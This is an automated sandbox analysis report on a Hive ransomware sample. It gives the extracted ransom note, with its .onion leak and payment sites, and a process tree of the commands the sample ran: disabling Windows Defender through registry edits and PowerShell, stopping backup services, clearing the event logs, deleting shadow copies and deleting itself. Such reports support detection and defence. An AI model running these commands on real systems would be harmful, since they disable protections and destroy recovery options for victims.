Overview

overview

10

Static

static

5

211xahcou.exe

windows10-2004-x64

10

Hive.elf

windows10-2004-x64

3

hive.exe

windows10-2004-x64

10

hive_linux_elf

windows10-2004-x64

1

linux_hive.elf

windows10-2004-x64

3

sjl8j6ap3.exe

windows10-2004-x64

1

windows_25...c5.exe

windows10-2004-x64

10

zi1ysv64h.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    185s
  • max time network
    277s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-01-2025 20:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

  • Size

    884KB

  • MD5

    da13022097518d123a91a3958be326da

  • SHA1

    24a71ab462594d5a159bbf176588af951aba1381

  • SHA256

    25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

  • SHA512

    a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f

  • SSDEEP

    12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojanupx

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
    "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2548
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3552
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3036
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4812
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1260
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SstpSvc" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SstpSvc" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3016
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "vmicvss" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2440
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "vmicvss" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:224
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "VSS" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "VSS" /y
          3⤵
            PID:2508
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "wbengine" /y
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2160
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "wbengine" /y
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3568
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "WebClient" /y
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "WebClient" /y
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4616
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "UnistoreSvc_2ebd6" /y
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "UnistoreSvc_2ebd6" /y
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1816
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "SamSs" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:3316
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "SDRSVC" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:4092
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "SstpSvc" start= disabled
          2⤵
          • Launches sc.exe
          PID:1956
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "vmicvss" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:1804
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "VSS" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:1208
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "wbengine" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:4916
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "WebClient" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:2024
        • C:\Windows\SysWOW64\sc.exe
          sc.exe config "UnistoreSvc_2ebd6" start= disabled
          2⤵
          • Launches sc.exe
          • System Location Discovery: System Language Discovery
          PID:1948
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:3620
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2976
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3524
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3888
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3848
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:4456
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1944
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:3716
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:1048
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          • System Location Discovery: System Language Discovery
          PID:2728
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
          2⤵
            PID:5060
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3464
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2284
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1436
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2664
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1808
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            2⤵
              PID:2504
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
              2⤵
              • System Location Discovery: System Language Discovery
              PID:3732
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
              2⤵
              • System Location Discovery: System Language Discovery
              PID:3176
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
              2⤵
              • System Location Discovery: System Language Discovery
              PID:4616
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
              2⤵
                PID:872
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3952
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3060
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4488
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3428
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4472
              • C:\Windows\SysWOW64\reg.exe
                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                2⤵
                  PID:2336
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies Security services
                  • System Location Discovery: System Language Discovery
                  PID:3516
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies Security services
                  • System Location Discovery: System Language Discovery
                  PID:4672
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies Security services
                  • System Location Discovery: System Language Discovery
                  PID:1492
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies Security services
                  • System Location Discovery: System Language Discovery
                  PID:5032
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies security service
                  • System Location Discovery: System Language Discovery
                  PID:3960
                • C:\Windows\SysWOW64\reg.exe
                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                  2⤵
                  • Modifies Security services
                  • System Location Discovery: System Language Discovery
                  PID:2416
                • C:\Windows\SysWOW64\wevtutil.exe
                  wevtutil.exe cl system
                  2⤵
                  • Clears Windows event logs
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4388
                • C:\Windows\SysWOW64\wevtutil.exe
                  wevtutil.exe cl security
                  2⤵
                  • Clears Windows event logs
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4688
                • C:\Windows\SysWOW64\wevtutil.exe
                  wevtutil.exe cl application
                  2⤵
                  • Clears Windows event logs
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4992
                • C:\Windows\SysWOW64\Wbem\wmic.exe
                  wmic.exe SHADOWCOPY /nointeractive
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1896
                • C:\Windows\SysWOW64\Wbem\wmic.exe
                  wmic.exe shadowcopy delete
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4052
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1984
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1164
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-MpPreference -DisableIOAVProtection $true
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1488
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1644
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4432
                • C:\Windows\SysWOW64\notepad.exe
                  notepad.exe C:\EGdu_HOW_TO_DECRYPT.txt
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • Opens file in notepad (likely ransom note)
                  PID:3756
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • System Network Configuration Discovery: Internet Connection Discovery
                  PID:2392
                  • C:\Windows\SysWOW64\PING.EXE
                    ping.exe -n 5 127.0.0.1
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:2932

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Windows Management Instrumentation

              1
              T1047

              Persistence

              Create or Modify System Process

              3
              T1543

              Windows Service

              3
              T1543.003

              Privilege Escalation

              Create or Modify System Process

              3
              T1543

              Windows Service

              3
              T1543.003

              Defense Evasion

              Impair Defenses

              2
              T1562

              Disable or Modify Tools

              1
              T1562.001

              Indicator Removal

              2
              T1070

              Clear Windows Event Logs

              1
              T1070.001

              File Deletion

              1
              T1070.004

              Modify Registry

              3
              T1112

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              1
              T1552

              Credentials In Files

              1
              T1552.001

              Discovery

              Remote System Discovery

              1
              T1018

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Exfiltration

              Impact

              Inhibit System Recovery

              1
              T1490

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files\Common Files\DESIGNER\EGdu_HOW_TO_DECRYPT.txt
                Filesize

                1KB

                MD5

                4e68cfad3f3cbef5406c90fd9e9d7931

                SHA1

                504d53957bbed8e1a612c791eec7abdd17bd15bc

                SHA256

                51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

                SHA512

                78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                968cb9309758126772781b83adb8a28f

                SHA1

                8da30e71accf186b2ba11da1797cf67f8f78b47c

                SHA256

                92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                SHA512

                4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                18KB

                MD5

                8d818e028ed08cf5f395de41e0208360

                SHA1

                44da90a11f332eb178e2666e0894dc78ca343194

                SHA256

                bdd679e5e27c521bf3ab8f8ba23fc41403b36186f6cc4e755c881ed119f7f2de

                SHA512

                c132fb3a7b2d52ca0fcdab19b38cecbd6e13595860a4bdc90d41b2ede72fd744aaa0530a7c4a5dcda8ece82d67b7217c7560cedc898ee2911856b3edb03cfe1a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fcb2idr4.bei.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • memory/1488-22-0x0000000006200000-0x0000000006232000-memory.dmp

                Filesize

                200KB

                Download

              • memory/1488-9-0x0000000004EC0000-0x0000000004F26000-memory.dmp

                Filesize

                408KB

                Download

              • memory/1488-8-0x0000000004DE0000-0x0000000004E46000-memory.dmp

                Filesize

                408KB

                Download

              • memory/1488-44-0x0000000007270000-0x0000000007278000-memory.dmp

                Filesize

                32KB

                Download

              • memory/1488-6-0x0000000004F90000-0x00000000055B8000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/1488-19-0x0000000005600000-0x0000000005954000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/1488-20-0x0000000005C00000-0x0000000005C1E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/1488-21-0x0000000005C50000-0x0000000005C9C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/1488-7-0x0000000004D40000-0x0000000004D62000-memory.dmp

                Filesize

                136KB

                Download

              • memory/1488-23-0x0000000075220000-0x000000007526C000-memory.dmp

                Filesize

                304KB

                Download

              • memory/1488-43-0x0000000007290000-0x00000000072AA000-memory.dmp

                Filesize

                104KB

                Download

              • memory/1488-34-0x0000000006E30000-0x0000000006ED3000-memory.dmp

                Filesize

                652KB

                Download

              • memory/1488-5-0x0000000002300000-0x0000000002336000-memory.dmp

                Filesize

                216KB

                Download

              • memory/1488-37-0x0000000006F50000-0x0000000006F6A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/1488-36-0x00000000075A0000-0x0000000007C1A000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/1488-38-0x0000000006FD0000-0x0000000006FDA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/1488-39-0x00000000071D0000-0x0000000007266000-memory.dmp

                Filesize

                600KB

                Download

              • memory/1488-40-0x0000000007150000-0x0000000007161000-memory.dmp

                Filesize

                68KB

                Download

              • memory/1488-41-0x0000000007180000-0x000000000718E000-memory.dmp

                Filesize

                56KB

                Download

              • memory/1488-42-0x0000000007190000-0x00000000071A4000-memory.dmp

                Filesize

                80KB

                Download

              • memory/1488-33-0x0000000006240000-0x000000000625E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/2548-7916-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-6081-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-0-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-1-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7876-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-781-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-2339-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-3308-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-5868-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7872-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7921-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-35-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7964-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-2-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7881-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7887-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7894-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7899-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7905-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-7911-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/2548-6083-0x00000000004B0000-0x00000000007C2000-memory.dmp

                Filesize

                3.1MB

                Download

              • memory/4432-54-0x0000000005B30000-0x0000000005E84000-memory.dmp

                Filesize

                3.3MB

                Download

              • memory/4432-59-0x0000000075220000-0x000000007526C000-memory.dmp

                Filesize

                304KB

                Download